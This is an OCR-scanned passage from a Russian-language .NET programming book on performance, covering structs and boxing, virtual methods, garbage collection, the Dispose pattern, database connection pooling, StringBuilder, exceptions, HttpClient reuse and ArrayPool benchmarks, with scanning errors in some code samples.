Все очень просто — мы дважды увидим 10. Так как int32 — это структура, то память для нее будет выделена в стеке. При добавлении этого значения в список будет создана копия в куче, и именно она улетит в список, а попытка поменять number на 12 бесполезна, потому что мы меняем значение в стеке, а не в куче.
Еще одно важное отличие структур от классов в том, как происходит сравнение. Два класса равны, если переменные ссылаются на один и тог же объект в памяти (пример кода сравнения можно увидеть в листинге 5.2).
Производительность в .NET
209
Листинг 5.2. Сравнение классов и структур
class Person {
public string FirstName { get; set; }
public string LastName { get; set; } }
class Program {
static void Main(string[] args)
{
Person pl = new PersonO {
FirstName = "Mikhail", LastName = "Flenov" };
Person p2 = new PersonO {
FirstName = "Mikhail", LastName = "Flenov" I;
Console.WriteLine (String.Format ("pl = p2 " + pl.Equals (p2))) ;
} >
В результате мы должны увидеть на экране false, потому что pi и р2 — разные объекты, пусть все поля у них и одинаковые. Если же изменить Person и вместо class использовать struct, то в результате мы увидим true, потому что при сравнении структур сравниваются все поля, и если они равны, то мы получаем истину, даже несмотря на то, что это разные структуры в памяти.
Почему сравнение структур по ссылке невозможно и не имеет смысла? Потому что на них нет ссылок. Если мы объявляем переменную типа «структура», то переменная и есть «значение». Чтобы получить ссылку, мы должны упаковать структуру и превратить в объект в куче. Единственное сравнение, которое имеет смысл в случае со структурами, — это сравнение всех полей.
В .NET не рекомендуется использовать ArrayList и нетипизированные коллекции. Вместо этого лучше задействовать коллекции из пространства имен System. Collections.Generic:
List<Person> people = new List<Person>();
Плюс этого подхода — он проверяет типы уже на этапе компиляции. Когда вы используете ArrayList, то при сохранении структур происходит именно упаковка в объект, и при обращении к элементам массива приходится делать преобразования. <
Если массив объявлен как List<Person> people, то каждый элемент в массиве — это объект класса Person, и приводить его не надо. Упаковки также не произойдет. Компилятор будет генерировать код, который станет работать со структурами, что позволит сэкономить память. Хранение значимых типов более эффективно, потому что данные хранятся плотно в массиве, и нам не нужны ссылки на данные в куче.
210
Гпава 5
Когда вы используете шаблонные методы и классы, которые выглядят как <т>, если т — это значимый тип данных, то компилятор может сгенерировать оптимальный код для работы с указанным типом.
Но как тогда решается проблема с тем, что оригинальная структура теряет видимость и уничтожается? В случае Li st<T> значимые типы не упаковываются, а копируются внутрь массива:
List<Person> people = new List<Person>();
public void Additem (string firstname, string lastname). {
Person p = new Person();
p.FirstName = firstname;
p.LastName = lastname;
people.Add(p);
p.LastName = ’’Updated”;
}
Если вы попробуете запустить этот пример, то результат будет такой же, как и у ArrayList, потому что при добавлении структуры значение явно копируется, и любые изменения после этого уже затрагивают оригинальное значение, а не копию в списке. Мы не можем использовать значение в стеке для добавления в список, поэтому решения два: упаковка или копия.
Итак, почему использование List<T> эффективнее? Меньше расходуется память из- за отсутствия ссылок, есть проверка типов данных и проще освобождение памяти во время сборки, потому что нужно просто уничтожить весь массив данных, а не ссылку на каждый из элементов.
5.1.3. Ссылки на структуры
Мы убедились, что с точки зрения работы с памятью структуры позволяют сэкономить на сборке мусора. Но мы также увидели, что при добавлении в список данные будут копироваться. И если у нас структура из двух полей:
public struct MyPoint {
public int Width; public int Height;
}
то при добавлении в список придется копировать 8 байтов, потому что int — это 4 байта.
А если структура будет состоять из 10 полей и не простых чисел int, a long (8 байтов), decimal (16 байтов) или даже чего-то большего? Придется копировать больше данных. С точки зрения передачи информации между методами структуры могут оказаться невыгодными.
Производительность в .NET 211
Давайте рассмотрим передачу параметров на следующем методе:
public int CalcSize(MyPoint point) {
point.Width = 5;
return point.Width * point.Height; }
Метод получает в качестве параметра структуру, изменяет одно из полей и возвращает произведение высоты на ширину (логического смысла в этом методе не сильно много, но зато он удобен при использовании его в качестве теста).
Вот что будет отображено в результате выполнения этого кода:
var point = new MyPoint() { Height = 10, Width = 20 };
CalcSize(point);
Console.WriteLine(point.Width);
При передаче структуры в качестве параметра будет создана копия структуры, и в методе мы будем видеть копию, а значит, любые изменения структуры внутри метода никак не повлияют на оригинал.
Объекты же передаются по ссылке, а значит, при вызове метода в стек попадает ссылка на объект, и по ней происходят все расчеты. Любые изменения полей класса внутри метода изменяют и оригинальный объект, потому что это одно и то же. За счет передачи по ссылке нам не нужно копировать данные структуры.
Структура MyPoint состоит из двух полей, и создание ее копии не займет много времени, но допустим, что у вас 10 полей decimal, и вызов метода происходит очень часто. Как поднять производительность?
Структуры можно передавать внутрь методов по ссылке — для этого достаточно указать перед параметром ref:
public int CalcSize(ref MyPoint point) {
point.Width - 5;
return point.Width * point.Height; }
Теперь при вызове не нужно копировать все данные структуры, потому что будет передана ссылка на оригинальную структуру. А это также приведет к тому, что внутри метода мы изменяем width оригинальных данных, и теперь в консоли мы увидим 5. Возможно, именно этого вы и хотите, тогда почему не использовать везде ref?
Если метод ожидает ссылку, то мы не можем вызвать его и сразу же инициализировать параметр. Следующая строка кода некорректная:
CalcSize(new MyPoint() { Height = 10, Width - 20 ));
Мы должны заводить переменную и уже переменную передавать методу.
212
Глава 5
5.2. Виртуальные методы
Виртуальные методы — это удобство программирования, но зло с точки зрения оптимизации. Виртуальное — это что-то не совсем реальное, что определяется динамически во время выполнения.
Давайте посмотрим на этот код:
class Square {
public int Volume (int width, int height) {
return width * height;
}
I
He обращайте внимание на отсутствие логики в этом примере — ведь ширина и высота для такого класса, скорее всего, будут его свойствами. Просто иногда придумать хороший логичный пример сложно, поэтому смотрим чисто на код и разбираемся, что здесь происходит.
Теперь допустим, что где-то есть вызов:
Square square $"Volume: { square.Volume(10, 20)}";
Вызовы методов в .NET сделали очень хорошо, но все же требуются определенные накладные расходы. Если я все правильно помню и ничего не изменилось, то тут при вызове нужно: установить точку входа в метод, поднять в стек точку возврата, поднять в стек переменные. При выходе же надо все подчистить и вернуться обратно в точку вызова. Можно попробовать скомпилировать этот код и посмотреть на его сгенерированный вариант, но при этом, скорее всего, нужно сначала отключить оптимизацию, потому что .NET может оказаться более умным, чем ожидается...
Я специально не указываю, как инициализируется переменная square, потому что это может быть «магический ящик», не совсем понятный из контекста. Но важно, что это все же объект класса square. Когда .NET будет компилировать такой код, он может без проблем оптимизировать его до:
Square square $"Volume: { 200 }";
Компилятор здесь легко упростил исходный код, поскольку увидел в нем две константы, которые внутри метода перемножаются без какой бы то ни было динамики.
Взглянем теперь на такой код:
Square square $"Volume: { square.Volume(w, h)}";
В нем нет констант, а есть какие-то переменные, значения которых сложно предугадать на этапе компиляции. Но и тут компилятор может упростить этот код до:
Производительность в .NET 213
Square square $"Volume: { w * h }";
Здесь нет никакого вызова метода, и сразу происходит операция перемножения, а значит, можно сэкономить на накладных расходах вызова и возврата из метода.
Отлично, тогда в чем проблема?
Спасибо С#, в котором по умолчанию все методы простые, а не виртуальные. Я сам Java не использую, но там все методы по умолчанию виртуальные, пока не сказано обратное.
А что если наш метод сделать виртуальным:
class Square {
public virtual int Volume (int width, int height)
{ return width * height;
} }
class CoolSquare: Square
{ public override int Volume(int width, int height) { return width + height;
} }
Теперь метод volume — виртуальный, и у нас есть наследник coolsquare, который переопределяет действие volume.
Зная это, компилятор не станет делать какую-либо оптимизацию:
Square square $"Volume: { square.Volume(10, 20)}";
Здесь у нас нет гарантии, что в переменной square находится именно квадрат, а не cool квадрат, а значит, нельзя упростить реализацию, потому что если это квадрат, то нужно перемножение, а если cool квадрат — то сложение. Никакая оптимизация тут не светит.
Опять же, спасибо C# за то, что он по умолчанию не делает методы виртуальными, и наша задача упрощается — не надо делать их таковыми без особой надобности.
Затраты на вызов методов минимальные, и если нужно сделать метод виртуальным — делайте это. Но в современном мире наследование вообще не является хорошим тоном — сейчас больше рекомендуют использовать композицию.
Не стоит бояться рефакторить и создавать большое количество методов — делайте код читаемым, создавайте небольшие методы и свойства, a .NET возьмет на себя все заботы по оптимизации и поможет избавиться от лишних вызовов. По крайней мере, тесты показывают, что так и происходит.
214
Гпава 5
5.3. Управление памятью
У C# и .NET есть одно очень большое преимущество и в то же время большой недостаток— автоматическая сборка мусора. Для классических Desktop-приложений — это прекрасно, когда платформа за нас убирает весь мусор и освобождает память, но в веб-приложениях это далеко не всегда так хорошо. Очистка мусора может занять время и процессорные ресурсы.
Я не стану погружаться в процесс сборки мусора с технической точки зрения — взглянем на него только с высоты птичьего полета.
Для хранения ссылок на объекты в куче используются четыре хранилища: поколения 0, 1, 2 и LOH (Large Object Heap, куча больших объектов). Когда объект только создан, он попадает в хранилище поколения 0. Именно это поколение становится первым претендентом на сборку мусора.
Сборка мусора в каждом поколении может начаться в любой момент, но точно начнется при их заполнении — когда не останется места для добавления новых объектов. Сборка происходит в два этапа: на первом этапе сборщик мусора в фоне собирает информацию обо всех объектах, которые больше не используются. Второй этап уже блокирующий — данные перемещаются в другое поколение или, если это поколение 2, перестраиваются, чтобы не было фрагментации.
Когда начинается сборка мусора, то сначала проверяются объекты поколения 0, которые были относительно недавно созданы, и есть большая вероятность того, что многие из них уже не нужны. Мы часто создаем локальные переменные, которые живут только внутри метода и быстро умирают.
Если объект переживает сборку, то он перемещается в хранилище поколения 1. Значит, это уже не локальная переменная, а более долгоиграющая, и ее не стоит проверять на каждом цикле. Перемещение в новое поколение — это блокирующий процесс, потому что нужно обновить все ссылки. Но зато после окончания этого процесса в поколении 0 не должно остаться нужных данных: все используемые объекты перенесены в поколение 1, а неиспользуемых не жалко, поэтому менеджер памяти начинает выделять память с нуля. Таким образом устраняется фрагментация, и, несмотря на потери скорости при сборке мусора, выделение памяти происходит очень эффективно.
Если объект переживает сборку мусора поколения 1, он перемещается в поколение 2. То есть процесс повторяется, как в случае с поколением 0. А если объект пережил два поколения, то, скорее всего, он точно будет жить очень долго, — может, на протяжении жизни всего приложения.
Когда же наполняется куча поколения 2, то объекты уже некуда двигать, и эта память перестраивается.
Большая часть переменных создается и уничтожается достаточно часто. Мы создаем очень много локальных для метода переменных, которые можно очистить практически сразу после выхода из метода. Очень редко что-то живет на протяжении
Производительность в .NET
215
всей жизни работы приложения, особенно в веб-приложении. Так может жить только статическая переменная, но она по своей природе уничтожается по завершении приложения (в случае с веб-приложением — при перезапуске пула).
Если вы используете автоматический маппинг, то количество объектов с коротким сроком жизни будет огромным, и это все накладывает дополнительную нагрузку на сборщик мусора.
Именно поэтому в .NET сделано несколько уровней объектов. Сборщик мусора пытается сначала удалить недавно созданные объекты, потому что среди них больше шансов найти те, которые уже не нужны. Если объект выжил, то есть вероятность, что это долгоживущий объект, который нет смысла пытаться освободить при каждом цикле сбора мусора.
Но мы рассмотрели только три поколения, а я еще говорил про какой-то LOH. Это куча для больших объектов, которые занимают 85 000 байтов. Если вы создаете объект с таким количеством данных, то перемещать его между поколениями очень дорого, поэтому он сразу попадает в специальную кучу. Сборщик мусора надеется, что вы не будете просто так создавать такие большие объекты, а если и сделаете что-то подобное, то это будут долгоживущие данные, которые не нужно часто обрабатывать сборщиком мусора.
Это, пожалуй, все, что нужно знать о сборке мусора, чтобы понять проблему уничтожения объектов. Более подробно о сборщике мусора можно узнать в MSDN2.
.NET может без проблем отслеживать ссылки на выделенную с помощью самой же платформы память. Но .NET не может отслеживать такие процессы, как открытие файлов или других ресурсов. Если у вас объект открывает файл для записи, вы должны явно сообщить, когда можно закрыть файл и уничтожить память.
Допустим, что у нас есть класс:
class FileProcesser
{
File f;
public FileProcesser() {
// открываем файл
public void Process() { //обработать файл
}
public void Close() {
// закрыть файл
}
}
2 См. https://learn.microsoft.coni/en-us/dotnet/standard/garbage-collection/large-object-heap.
216
Гпава 5
В конструкторе открывается файл, и чтобы закрыть этот файл, я создал метод close. Вроде бы мы делаем логично: открыли файл, обработали, закрыли. Но взглянем на возможное использование этого класса:
FileProcesser fp = new FileProcesser();
fp.Process();
fp.Close();
Когда мы пишем код вот так последовательно, строка за строкой, то никаких проблем не видно, но что если создание объекта происходит в одном месте, обработка — в другом, а закрытие — в третьем? Когда этот код разбросан по приложению, может возникнуть ситуация, когда метод Process будет вызван уже после закрытия файла методом close, а это способно привести к исключительной ситуации. А что если исключительная ситуация произойдет в Process? В случае же с веб-прило- жением вызова close может вообще никогда не произойти.
Для подобных ситуаций в неуправляемых языках используют деструкторы — специальные методы, имя которых совпадает с именем класса, но перед их именем стоит знак ~:
class FileProcesser
{
File f;
public FileProcesser() {
// открываем файл
}
public void Process() { //обработать файл
}
-FileProcesser () {
// закрыть файл
} }
Здесь закрытие файла происходит не в отдельном методе, а в деструкторе -FileProcesser.
Казалось бы, этот вариант лучше, потому что нам не нужно явно закрывать файл — он будет закрыт при уничтожении объекта сборщиком мусора. Только сборщик мусора должен выполняться максимально быстро, чтобы не блокировать выполнение приложения на долгий срок. Эти процессы не могут быть параллельными, потому что во время сборки объекты будут передвигаться в памяти, и в этот момент нужно обновлять ссылки.
Если же деструктор будет выполняться долго, то это негативно скажется на производительности всего приложения, поэтому здесь организуется двухэтапный процесс сборки: на первом шаге объект помещается в специальную очередь для вызова
Производительность в .NET 217
деструктора, поскольку деструктор может выполняться параллельно, а сборка мусора — нет.
Из-за двухэтапного процесса уничтожения объект может пережить нулевое поколение сборки и попасть на первое, а значит, он будет жить дольше, чем надо. То есть файл будет оставаться занятым, пока финализация не завершится.
Поэтому вместо деструкторов в .NET лучше использовать паттерн Dispose. Его смысл заключается в том, что если объекту нужно уничтожать какие-то ресурсы, то он должен реализовать интерфейс iDisposabie:
class FileProcesser: IDisposabie {
File f;
public FileProcesser () {
// открываем файл
}
public void Dispose() {
// закрыть файл
} }
У этого интерфейса есть только один метод — Dispose, который предназначен для того, чтобы освобождать ресурсы.
Для работы с паттерном Dispose в C# можно использовать конструкцию using следующим образом:
using (FileProcesser fp = new FileProcesser ()) {
}
Теперь .NET знает, что как только мы выходим за пределы блока using, можно сразу же вызывать метод Dispose, который закроет файл. И когда сборщику мусора придет время освобождать ресурсы, которыми управляет .NET, то не нужно будет тратить время на закрытие файла или чего-то еще.
5.4. Закрытие соединений с базой данных
В веб-программировании самым популярным объектом, который выделяет неуправляемые ресурсы и нуждается в освобождении, является соединение с базой данных.
Когда мы программируем веб-приложение, то веб-запросы в основном короткие: наш код должен выполнять небольшую операцию и работать максимально быстро. И если не помогать при этом сборщику мусора, то ресурсы сервера могут «улететь в трубу» просто мгновенно.
218
Гпава 5
Первое, что «улетает в трубу», — это соединение с сервером MS SQL Server. В .NET мы можем создать соединение sqiconnection, открыть его и не закрывать, потому что сборщик мусора .NET сделает всё за нас. Я уже несколько раз видел веб-код, когда программисты так и поступали. Они открывали соединение в одном месте, а использовали его в другом, и, чтобы не открывать соединение дважды за один запрос, его открывали где-то вначале и не закрывали вовсе в надежде, что .NET сделает это самостоятельно.
Хорошо, вот открыли мы соединение с базой данных:
public ActionResult Index() {
SqlConnection connection = new SqlConnection(); connection.Connectionstring = "строка соединения”; connection.Open();
return View();
}
Внимание, вопрос: когда будет закрыто соединение с базой данных? Да, соединение будет закрыто без нашего участия, и нам не нужно, по идее, заботиться о ресурсах, но вот когда эти ресурсы будут освобождены, знает только .NET. После выполнения этого кода соединение будет все еще открытым и занятым. Реальное освобождение ресурсов может произойти через минуту, а может и через пять — всё зависит от нагрузки на сервер. Это значит, что на сервере будет открыто большое количество ресурсов, запрещенных к использованию.
Сервер не безграничен в количестве одновременно доступных соединений — туг все зависит от настроек, и когда вы дойдете до максимума, новое соединение открыть будет невозможно, и сайт не будет доступен до тех пор, пока сборщик мусора не освободит неиспользуемые соединения.
Внимание, тут я использовал два очень важных понятия: открытые соединения и занятые. Это две разные сущности. Давайте посмотрим на цикл жизни соединения. Когда вы впервые открываете (вызываете метод open) объекта SqlConnection, то .NET делает следующее:
1. Выделяет необходимые объекту ресурсы.
2. Устанавливает соединение с базой данных.
После этого соединение открыто и занято вашим объектом. Когда вы вызываете метод close или Dispose, то .NET-объект SqlConnection помечается свободным, а открытое соединение остается в живых на некоторое время и находится в специальном пуле. Соединение все еще открыто, но оно свободно для использования.
Теперь, если вы попытаетесь открыть новый объект SqlConnection, то .NET проверит пул на наличие уже открытых соединений с такой же строкой подключения.
Производительность в .NET
219
Если они есть, то .NET создаст новый объект, но новое физическое соединение с сервером устанавливать не станет, а использует существующее из пула. При этом экономится время на обмен приветственными сообщениями с базой данных, а объект Sqiconnection практически мгновенно становится доступным к использованию.
Когда я сопровождал сайты Sony с миллионами пользователей, у нас даже в часы пик количество одновременно открытых соединений с базой данных не превышало 600. А вне часов пик держалось на отметке в 200 соединений. Но однажды мы запускали небольшое обновление, и количество соединений взлетело до 1500, а в часы пик сайт упал из-за того, что не хватило свободного места в пуле. Мы увидели проблему только тогда, когда сайт перестал отзываться из-за недостаточного количества соединений. Просто сразу после обновления как-то не проверили, сколько у нас их открыто.
Проблема оказалась как раз в одном таком месте кода, когда соединение открывалось, но явно не закрывалось. Из-за того, что ресурсы вовремя не освобождались, мы теряли их без особой пользы. Когда я нашел эту проблему и исправил ее, количество соединений упало опять с более чем 1000 до 200.
При разработке веб-приложений, если где-то нужно открывать ресурсы, всегда используйте паттерн Dispose совместно с конструкцией using:
public ActionResult Index() {
using (SqlConnection connection = new SqlConnection()) {
connection.Connectionstring = ’’строка соединения”;
connection.Open();
}
return View();
}
В этом случае .NET знает, что соединение нам нужно только на период, пока мы находимся внутри блока using. Как только мы выходим за его пределы, платформа сразу видит, что этот ресурс нам не нужен и его можно освободить. И тут мы точно можем быть уверены, что соединение с базой данных будет закрыто сразу после выхода из блока using. Вам не обязательно вызывать явно метод close — достаточно просто использовать using. И за счет того, что мы закрываем соединение, объект уже может быть освобожден сборщиком мусора без каких-то дополнительных задержек.
Сборка мусора в .NET работает отлично — главное, правильно ею пользоваться и помогать платформе, указывая на то, когда ресурсы уже больше не нужны. Дальше она все возьмет на себя.
220
Гпава 5
А как насчет такого случая, когда нужно использовать соединение в разных местах программы для выполнения двух разных запросов в двух разных местах? Если using не может объять оба кода (они находятся в разных методах), то не стоит даже пытаться объять необъятное. Создайте два объекта SqiConnection и откройте соединение дважды. Это не проблема для сервера, потому что он может использовать пул соединений.
В этом разделе я использовал в качестве примера соединение с базой данных как наиболее популярный тип ресурса для подобных приложений. То же самое может касаться и таких ресурсов, как файл, или других ресурсов, где мы что-то открываем. Вы не обязаны закрывать их самостоятельно, хотя все же явное закрытие является хорошим тоном. Но если вы не хотите закрывать сами, то хотя бы используйте паттерны Dispose И using.
5.5. Циклы
Для перебора элементов в списках можно использовать несколько разных циклов, но самым популярным является foreach, который выглядит красиво, но в своей работе делает дополнительную операцию — проверку на изменение списка. Если во время работы цикла список изменился, то произойдет исключительная ситуация.
Попробуйте выполнить следующий код:
List<int> list = new List<int>();
list.Add(10);
foreach (var item in list)
{
list-Add(10);
}
В результате произойдет ошибка, как показано на рис. 5.2.
i Рис. 5.2. Исключительная ситуация при изменении списка
Хотя простой цикл for не делает проверки на изменение списка и работает быстрее, я продолжаю использовать foreach просто потому, что это выглядит красиво. В особо проблемных местах я, конечно, могу задействовать простые циклы (for, while), но все же не сделал использование их правилом по умолчанию.
Производительность в .NET 221
5.6. Строки
В программировании очень часто нужно объединять строки из маленьких кусочков в одно целое.
Вот банальная задача вывода строки из 50 символов равенства:
public static void Main()
{
string s = "";
for (int i = 0; i < 50; i++) { s += "=";
}
Console.WriteLine(s);
}
В общем-то, эту задачу можно было бы решить проще — заранее создать строку из 50 знаков = и вывести прямо ее:
string s = "==================="; Console.WriteLine(s);
To есть избавиться от переменной и цикла и сразу выводить строку. Блеск, мы оптимизировали пример.
А что если нам нужно создать строку из символов равенства, но количество символов может меняться в зависимости от ввода пользователя:
public static void Main()
{
string s = "";
int num = Int32.Parse(Console.ReadLine());
for (int i = 0; i < num; i++) { S += "=";
}
Console.WriteLine(s);
}
Забудем о том, что при получении данных из консоли я здесь не проверяю ввод, а сразу привожу результат в число, — и это не очень хорошо, потому что если пользователь введет строку, то все рухнет.
Главная суть этого примера в том, что теперь мы не можем заранее создать строку и просто вывести ее, а значит, цикл уже нужен. Да, есть варианты сократить количество шагов, но все же цикл останется.
Как можно сократить количество шагов? У нас на каждом шаге строка s увеличивается в размере. А что если мы будем на каждом шаге увеличивать строку не на один символ, а на всю строку, если мы еще ожидаем достаточно символов:
public static void Main()
{
string s = ”";
222
Гпаев 5
int num = Int32.Parse(Console.ReadLine());
if (num > 0) s = "=";
while (s.Length < num){
if (s.Length < num - s.Length) { s += s;
}
else {
s += s.Substring(1, num - s.Length); }
Console.WriteLine(s.Length);
}
Console.WriteLine(s);
}
Чтобы было нагляднее, я на каждом этапе вывожу текущий размер строки:
>50
2
4
8
16
32
50
Первая строка — это ввод пользователя. Мы ожидаем 50 символов, а потом мы видим, как растет наша строка, — она на каждом шаге увеличивается в два раза, потому что мы складываем строку саму с собой. Сначала это один символ равенства, и он превращается в два. Потом два символа равенства увеличиваем в 2 раза и получаем 4.
Круто. Но это опять работа алгоритмов, и не всегда можно найти какое-то решение, подобное этому. Однако теперь, когда мы сократили количество шагов, можно подумать об оптимизации каждого из них. Но тут есть проблема, которая присуща управляемым языкам. Возможно, не всем, но в C# она точно есть — строки в .NET неизменяемы. Вы скажете: как же так, мы же в примере меняем строку s, — но на самом деле мы не изменяем значение переменной, а каждый раз записываем в него новое значение.
Дело в том, что на каждом этапе цикла благодаря сложению строк плюсом платформа объединяет две строки, для результата выделяет в памяти новую область и записывает туда результат. Текущее значение s отправляется в мусорный ящик и со временем должно быть подчищено, а в s записывается новое значение:
string s = "";
for (int i = 0; i < 50; i++) {
s += ”=”;
}
Производительность в .NET
223
В таком цикле 50 раз значение переменной s улетит в мусор и будет выделена память под новое значение s. Это ужасно с точки зрения производительности — целых 50 раз произойдет выделение памяти! Да, я смог сократить в этом примере количество циклов, но это только потому, что пример очень простой. Если на каждом шаге нужно будет делать еще какие-то математические действия, то не факт, что вам удастся сократить количество циклов.
Вместо сложения стррк рекомендуется использовать stringBuilder. Это специальный класс, который просто запоминает все строки, которые мы добавляем в класс, но реально не объединяет их в одну целую строку, пока мы не запросим ее с помощью ToString():
StringBuilder s = new StringBuilder(); for (int i = 0; i < 50; i++) {
s.Append("=") ;
}
Console.WriteLine(s.ToString());
Здесь я в цикле добавляю в stringBuilder символы =, и в памяти класс запомнит 50 символов равенства по отдельности. Но как только мы выполним ToString, то получим одну большую строку, и для нее память будет вьщелена только один раз, что уже намного лучше.
Если вам нужно просто сложить строки в одной операции:
String name = FirstName + " " + LastName;
то память для результирующей строки будет выделена только один раз, потому что компилятор может увидеть эту операцию как одно целое, и здесь особой выгоды от stringBuilder не будет. Чтобы сделать ваш код более читабельным, два или три сложения вне цикла можно делать и без stringBuilder. Но в циклах использование stringBuilder просто обязательно!
Если ваш код собирает большую строку из маленьких кусочков, а тем более если делает это в цикле, непременно используйте stringBuilder. Платформа .NET отлично управляет памятью, но такие ситуации не проходят бесследно, и работа с памятью очень часто становится проблемой производительности. Выделение и освобождение — достаточно дорогое удовольствие, и нужно пытаться сокращать эти операции до минимума.
5.7. Исключительные ситуации
Исключительные ситуации — удобный способ оформлять код и отлавливать проблемные случаи. В главе 1 мы уже говорили про ошибки, и там я утверждал, что ошибки нужно исправлять, а не просто заглушать их с помощью try и catch, и писать код так, чтобы исключительные ситуации не возникали. Очень часто для достижения этой цели нужно проверять входящие данные на корректность и показывать посетителю соответствующие сообщения.
224
Глава 5
Обработку исключительных ситуаций с помощью try и catch тоже можно использовать, но при этом надо отдавать себе отчет, что такая обработка может сказаться на производительности. Во время обработки ошибки платформе приходится собирать много информации, которая попадает в объект класса Exception или его потомок. Эта операция стоит затрат процессора, и не только их.
Вы обращали внимание, что в C# есть два варианта преобразования строки в число: int32.Parse и int32.TryParse. Первый из них в случае ошибки генерирует исключительную ситуацию, и такой код удобно читать и оформлять. Второй (int32.TryParse) — возвращает булево значение, которое указывает, удалось преобразовать строку или нет. На мой взгляд, этот код уже не такой элегантный, но он быстрее.
Так может, везде использовать int32.TryParse? Если вам нравится, как выглядит этот метод в коде, можете использовать его всегда. Я же везде использую по умолчанию try и catch, если только заранее не знаю, что работаю над кодом, который критичен к производительности.
int32. Parse — это всего лишь один конкретный случай, когда может генерироваться ошибка. Он яркий, потому что без него не так просто обойтись, — ведь если мы хотим узнать, число ли перед нами, то проще попробовать его преобразовать.
Проблемы производительности касаются ошибок в целом. Как мы уже обсуждали в главе 1, просто старайтесь не доводить до ошибок, проверяйте данные, пишите код так, чтобы он не доводил до исключительных ситуаций.
5.8. Странный HttpClient
Я сам когда-то долго использовал класс HttpClient неверно, потому что не до конца прочитал документацию. Дело в том, что этот класс реализует интерфейс iDisposabie, а такие классы обычно нужно задействовать так, чтобы освобождать ресурсы:
using (var client = new HttpClient()){ }
Но в MSDN написано следующее:
HttpClient is intended to be instantiated once and reused throughout the life of an application (Httpclient нужно инициализировать только один раз и использовать на протяжении всего приложения).
Неожиданно! Зачем реализовывать iDisposabie, если этот экземпляр класса должен жить на протяжении всего цикла жизни приложения, и память должна освобождаться уже по его завершении. Это очень странное решение, учитывая, что даже в MSDN показывают пример с использованием статичной переменной и без уничтожения:
static readonly HttpClient client = new HttpClient();
Экземпляр класса HttpClient — это коллекция настроек, и он задействует свой пул соединений, который работает изолированно от остальных экземпляров.
Производительность в .NET
225
Если применять один и тот же экземпляр класса, то он будет повторно использовать уже открытые соединения socket. Если пытаться создавать и уничтожать экземпляр Httpclient для каждого запроса, то при высокой нагрузке быстро закончатся свободные socket. И это случится, даже если правильно использовать и вызывать Dispose, — просто это особенность не .NET, а сокетов и интерфейса ОС.
Ради повышения производительности Httpclient определяет IP-адрес по имени (использует DNS) только при первом запросе, а потом игнорирует настройки DNS, такие как время жизни адреса. Если приложение будет работать долго, а IP-адрес может меняться, то MSDN рекомендует ограничивать время жизни PooledConnectionLi fetime:
private static readonly HttpClient httpClient;
static Goodcontroller() {
var socketsHandler = new SocketsHttpHandler
{
PooledConnectionLifetime = TimeSpan. FromMinutes (2)
};
httpClient = new HttpClient(socketsHandler);
}
По возможности используйте статичный экземпляр HttpClient. Такой пример будет работать быстро, но у него все равно будет проблема: в случае изменений настроек DNS, HttpClient их не увидит, потому что он статичен и создан только один раз, и именно в этот момент прочитал настройки.
В случае с веб-сайтами это может быть неудобно, поэтому для них в Microsoft создали IHttpClientFactory:
class Authorization
{
private readonly IHttpClientFactory httpClientFactory = null!;
public Authorization(IHttpClientFactory httpClientFactory)
{
this.httpClientFactory = httpClientFactory;
}
public async Login()
{ var httpClient = httpClientFactory.CreateClient();
} }
Для работы c HttpClient не забываем подключить в файле Program.cs следующую строку:
builder.Services.AddHttpClient();
226
Гпава 5
Microsoft рекомендует использовать iHttpciientFactory. Он каждый раз создает НОВЫЙ экземпляр HttpClient, который запрашивает ИЗ пула HttpMessageHandler И может использовать эти объекты повторно. Именно HttpMessageHandler отвечает за работу с соединениями и сокеты. У HttpMessageHandler есть срок жизни, после которых они будут пересозданы. Я думаю, это сделано для того, чтобы откликаться на изменения настроек сети, но не уверен, что это так.
Ну и еще одна рекомендация: обязательно используйте асинхронные методы для работы с сетью, чтобы не блокировать ресурсы.
5.9. Класс ArrayPool
Большое количество выделения и освобождения памяти может создать дополнительную нагрузку на сборщик мусора. Когда нам нужна просто числовая переменная, то на ее выделение нужно не так много ресурсов, а если нужен массив?
Работа со списком List в .NET может быть связана с большими затратами. Выделение списка даже из простых чисел потребует памяти, которую нужно будет освобождать.
Если вам нужна последовательность большого размера и вы будете с ней работать несколько раз, то лучше использовать класс Arraypool. При создании он выделяет память один раз, и после этого вы можете арендовать нужное количество элементов и освобождать их. Для аренды вызываем метод Rent и в качестве параметра указываем, сколько элементов нужно арендовать. Этот метод вернет вам буфер, через который вы сможете работать с последовательностью.
Для освобождения: вызываем метод return и указываем буфер, который мы получили во время аренды. У return есть второй параметр — булево значение, которое указывает, нужно очищать использованный буфер или можно оставить в нем данные как есть.
Простой пример работы с Arraypool, который выделяет 100 элементов, заполняет их просто числами от 0 до 99 и освобождает.
int size ■ 100;
var pool ■ ArrayPool<int>.Create();
var array = pool.Rent(size);
for (int i ■ 0; i < size; i++) { array[i] ■ i;
}
pool.Return(array, false);
Я написал небольшую программу, которая тестирует на производительность ArrayPool И List:
us ing BenchmarkDotNet.Running; using BenchmarkDotNet.Attributes;
BenchmarkRunner.Run<Tests>();
Производительность в .NET
227
[MemoryDiagnoser] public class Tests { int size * 100;
[Benchmark]
public void TestArrayPool()
{
var pool = System.Buffers.ArrayPool<int>.Create();
var array = pool.Rent(size);
for (int i = 0; i < size; i++) array[i] = i;
pool.Return(array, true);
}
[Benchmark]
public void TestListO
{
var list ■ new List<int>(size);
for (int i ■ 0; i < size; i++)
list.Add(i);
} }
В примере используется библиотека BenchmarkDotNet, и полный пример, как всегда, можно найти в папке ArrayPoolTest сопровождающего книгу файлового архива (см. приложение).
Чтобы запустить пример, выполните команду:
dotnet run -с Release
В результате вы должны увидеть финальную таблицу:
I Method I Mean I Error I StdDev | GenO I Allocated I
| MWWWWWWM | W WM ww • | MMWWW * | WWMMMM • | MMMWMM • | MWMMMMWM • |
I TestArrayPool I 712.3 ns I 2.71 ns | 2.53 ns | 1.0290 | 8608 В |
I TestList I 138.0 ns | 0.40 ns | 0.37 ns I 0.0544 | 456 В I
Неожиданно, у TestArrayPool медиана расхода памяти намного выше, чем у TestList. Неужели TestArrayPool работает медленнее?
Попробуйте увеличить количество элементов до миллиона и запустите пример заново:
I Method | Mean I Error |StdDev IGenO | Allocated I
| | ;| ; | ;| .] ;|
I TestArrayPoolI 858.2 us I 14.07 us 111.75 us 1503.90631 4.01 MB |
I TestList I 1,365.1 us I 22.98 us 127.36 us|503.90631 3.82 MB I
Ситуация изменилась — теперь TestArrayPool быстрее.
И это при том, что я только один раз выделяю данные из массива.
228
Гпава 5
В последней версии .NET компания Microsoft провела хорошую оптимизацию. Ранее разница между этими двумя вызовами была более значительная.
